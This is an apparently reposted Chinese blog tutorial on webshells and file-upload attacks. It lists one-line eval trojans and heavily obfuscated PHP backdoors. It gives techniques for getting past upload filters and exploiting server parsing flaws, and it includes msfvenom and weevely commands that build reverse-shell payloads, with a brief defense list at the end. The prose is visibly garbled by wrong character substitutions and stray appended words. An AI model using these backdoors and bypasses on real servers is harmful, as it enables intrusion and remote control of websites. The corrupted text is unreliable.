1. WebShellphp
Shell是系统的用户界面,提供了用户与内核进行交互操做的一种接口。它接收用户输入的命令并把它送入内核去执行。由于系统内核使咱们不能直接操做的,shell就给咱们提供了一个接口,经过shell咱们能够把命令送入到内核。shell管理用户与操做系统之间的交互:等待你输入,向操做系统解释你的输入,而且处理各类各样的操做系统的输出结果。
传统意义上的shell指的是命令行式的shell,之后若是不特别注明,shell是指命令行式的shell。
表示用户拥有的权限,不一样的shell权限不一样html
黑客在入侵了一个网站后,一般会留下一个asp或php后门文件与网站web服务器进行交互,获得一个命令执行环境,以达到控制网站服务器的目的。这个后门文件就是所谓的webshell。python
一句话木马是Webshell的一种,因为这类Webshell代码比较少,每每只有一行代码,因此就被称为一句话木马。
一句话木马虽然代码简单,可是结合中国菜刀、蚁剑等WebShell管理工具,它们的功能倒是很是的强大。git
在PHP、ASP、ASPX中都有能够执行外部程序的函数,一句话木马就是经过这些函数来工做的,由页面传输待执行的命令,函数在远程执行命令。github
1 |
<?php eval($_POST['cmd']);?> |
1 |
<% eval request('cmd')%> |
1 |
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"])%> |
代码量少,体积小,不易被发现,配合WebShell管理工具功能强大。web
代码量较少,体积较小,基本功能(文件管理、命令执行、数据库管理)都有shell
代码量多,体积大,易被发现,功能多数据库
WebShell的权限和Apache权限有关,能够经过限制Apache权限下降WebShell的权限。编程
为Apache添加用户windows
1 |
net user Apache password /add |
打开服务管理
找到Apache-属性-登陆-此帐户
登陆Apache用户
不使用源码安装Apache就是最低权限
在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,致使恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。
文件上传漏洞对Web应用来讲是一种很是严重的漏洞。通常状况下,Web应用都会容许用户上传一些文件,如头像、附件等信息,若是Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。
相册、头像上传
视频、照片分享
附件上传
文件管理器
检测文件后缀名
绕过方式:
1.关闭JS解析
2.在白名单中加上要上传的文件类型
3.破坏JS
4.拦截数据包修改文件名
upload-labs第1关
检测content-type
绕过方式:
抓包修改content-type image/png image/jpeg image/bmp
{php|php3|php4|asp|html|jsp}
1 |
" = . |
第一步操做能够向服务器中写一个0字节的文件
1 |
test.php:.jpg |
第二步上传时,修改文件名为test.>>>或test.<
点或者空格结尾的文件再保存的时候,点和空格会被删除
shell.php.(空格)或shell.php (空格)
php版本要小于5.3.4,5.3.4及以上已经修复该问题;
magic_quotes_gpc须要为OFF状态,在PHP.ini中修改
抓包
修改URL,在末尾加上能够解析的扩展名和%00进行截断
抓包-在保存路径后添加能够解析的扩展名并使用%00进行截断,要将%00选中Ctrl+Shift+U转为十六进制。
建立.htaccess文件
1 |
<FilesMatch "test.io"> |
上传.htaccess文件,再上传test.io,test.io被解析为php
格式 | 文件头 |
---|---|
JPG | FF D8 FF E0 00 10 4A 46 49 46 |
GIF | 47 49 46 38 39 61 |
PNG | 89 50 4E 47 |
Windows Bitmap (bmp) | 42 4D |
TIFF (tif) | 49 49 2A 00 |
CAD (dwg) | 41 43 31 30 |
Adobe Photoshop (psd) | 38425053 |
Rich Text Format (rtf) | 7B5C727466 |
MS Word/Excel (xls.or.doc) | D0CF11E0 |
MS Access (mdb) | 5374616E64617264204A |
ZIP Archive (zip) | 504B0304 |
RAR Archive (rar) | 52617221 |
Wave (wav) | 57415645 |
AVI (avi) | 41564920 |
Real Media (rm) | 2E524D46 |
MPEG (mpg) | 000001BA |
MPEG (mpg) | 000001B3 |
Quicktime (mov) | 6D6F6F76 |
Adobe Acrobat (pdf) | 255044462D312E |
Windows Media (asf) | 3026B2758E66CF11 |
MIDI (mid) | 4D546864 |
生成图片木马
1 |
copy test.jpg/b+test.php/a shell.jpg |
使用edjpgcom.exe
将图片拖拽到.exe上
须要和其余漏洞(解析漏洞、文件包含)结合使用
调用API 或函数去进行文件加载测试常见的是图像渲染测试,再变态点的甚至是进行二次渲染(后面会提到) 对文件加载检测的攻击通常就两种方式,一个是渲染测试绕过,另外一个是攻击文件加载器自身。
先用 GIMP 对一张图片进行代码注入 用 winhex 看数据能够分析出这类工具的原理是 在不破坏文件自己的渲染状况下找一个空白区进行填充代码 通常是图片的注释区
upload-labs第16关
二次渲染基本上无法绕过,只能对文件加载器进行攻击
二次渲染至关因而把本来属于图像数据的部分选取出来,再用API 或函数进行从新渲染,在这个过程当中非图像数据的部分直接就隔离开了
对文件加载器进行攻击,常见的就是溢出攻击,上传恶意文件后,服务上的文件加载器进行加载测试时,被触发攻击执行shellcode好比 access/mdb 溢出(Microsoft Jet Engine MDB File溢出的漏洞,该漏洞是因为access在加载mdb文件时,处理不当,产生的shellcode执行,参考连接:https://blog.csdn.net/kendyhj9999/article/details/18738435)
Magic image
线程编程中,为了保证数据操做的一致性,操做系统引入了锁机制,用于保证临界区代码的安全。经过锁机制,可以保证在多核多线程环境中,在某一个时间点上,只能有一个线程进入临界区代码,从而保证临界区中操做数据的一致性。
临界区指的是一个访问共用资源(例如:共用设备或是共用存储器)的程序片断,而这些共用资源又没法同时被多个线程访问的特性。
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操做或者同步操做的场景中。
upload-labs第17关
有些上传页面没有提交按钮,能够用HTML编辑From表单,添加提交按钮
目录解析漏洞:以asp/asa等结尾的目录,其目录下的文件都可被解析
文件名解析漏洞:以.asp/asa;*.png或;*.jpg结尾的文件都可被解析
IIS应用层漏洞:以asa、cer、cdx结尾的文件都可被解析
在当前文件中,有IIS可以解析的扩展名(asp/aspx),这个文件可被解析
a.aspx.a
a.aspx.jpg.jpg…jpg
在默认Fast-CGI开启情况下,上传一个名字为wooyun.jpg,内容为
1 |
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> |
的文件,而后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php
x.asp%00.jpg
服务器配置不当形成,由于开启Webdav,使应用程序可直接对Web Server进行读写,同时IIS中又配置目录可写,便产生很严重的问题。
原理:Apache在解析文件过程当中,从右向左开始判断后缀名,遇到不认识的后缀名,会向左移动一位再作判断
test.php.php123.cdd
先解析.cdd不认识,再解析.php123,再解析php
服务器自己的漏洞
再配置文件中添加一行配置:
1 |
AddHander php5-script .php |
test2.php.jpg
1 |
AddType application/x-httpd-php .jpg |
即便是.jpg文件也能被解析
在默认Fast-CGI开启情况下,上传一个名字为wooyun.jpg,内容为
1 |
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> |
的文件,而后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php
上传文件是图片木马,在访问时,URL中图片后缀名后面加上%00.php能够正常解析
xxx.jpg%00.php
在配置文件中设置fix_pathinfo这个参数(开启,并设置相应的值),服务器中就会出现各类解析漏洞(CGI解析漏洞)
1 |
/1.jpg/1.php |
可直接解析的后缀名、图片木马
后缀名可直接解析,知道文件的路径
图片木马 结合其余漏洞(解析漏洞或文件包含),知道文件路径
文件路径获取方法:
上传正常图片,而且显示该图片,直接看图片路径
扫目录
信息泄露--列目录
1 |
$a =str_replace("x","",”axsxxsxexrxxt”);$a($_POST[“code”]); |
用字符串隐藏assert方法,而且利用它加上动态传入参数的方式构造后门。
1 |
$_GET[‘a’]($_GET[‘b’]); |
1 |
($code = $_POST[‘code’]) && |
1 |
$fun=creat_function('',$_POST['a']); |
1 |
@call_user_func(assert,$_POST['a']); |
1 |
<?php |
1 |
<?php |
1 |
<?php |
1 |
<?php |
1 |
base64_decode函数 |
.
操做符 1 |
<?php |
1 |
<?php |
1 |
$e=$_REQUEST['e']; |
eval不能回调,assert能够
使用菜刀链接
\e=assert\
将函数做用到数组中的每一个值上,作相应的处理,并返回带有新值的数组:
1 |
$e = $_REQUEST['e']; |
使用自定义的比较函数对数组$arr中的元素按键值进行排序
1 |
$e=$_REQUEST['e']; |
PHP版本>5.4
1 |
if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content)); |
1 |
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));} |
1 |
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> |
1 |
<? |
1.生成木马
1 |
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.126.126 lport=12600 -f raw >./shell.php |
1 |
set payload php/meterpreter/reverse_tcp |
1 |
python weevely.py generate password path |
终端
1 |
python weevely.py url password |
1.使用白名单限制上传类型
黑名单可使用各类方法进行绕过
2.使用最新版本的IIS、Apache、Nginx
3.对上传文件名进行改写
4.检查HTTP Header中的Content-Type、检查文件上传路径
5.分析文件头和文件尾
6.对图片进行渲染,最好二次渲染,并对API和函数进行加固,防止溢出
7.设置文件夹权限
根据需求将文件上传的目录设置为不可执行
8.尽量让上传的文件的路径不可知,将路径保存到数据库中,在须要的时候再进行读取
9.限制上传文件的大小
10.单独设置文件服务器的域名
[1] Web条件竞争
[2] 解析漏洞整理
转载:https://chirec.github.io/2019/04/19/Upload-Files/
之后你走你的成华大道,我走个人二仙桥。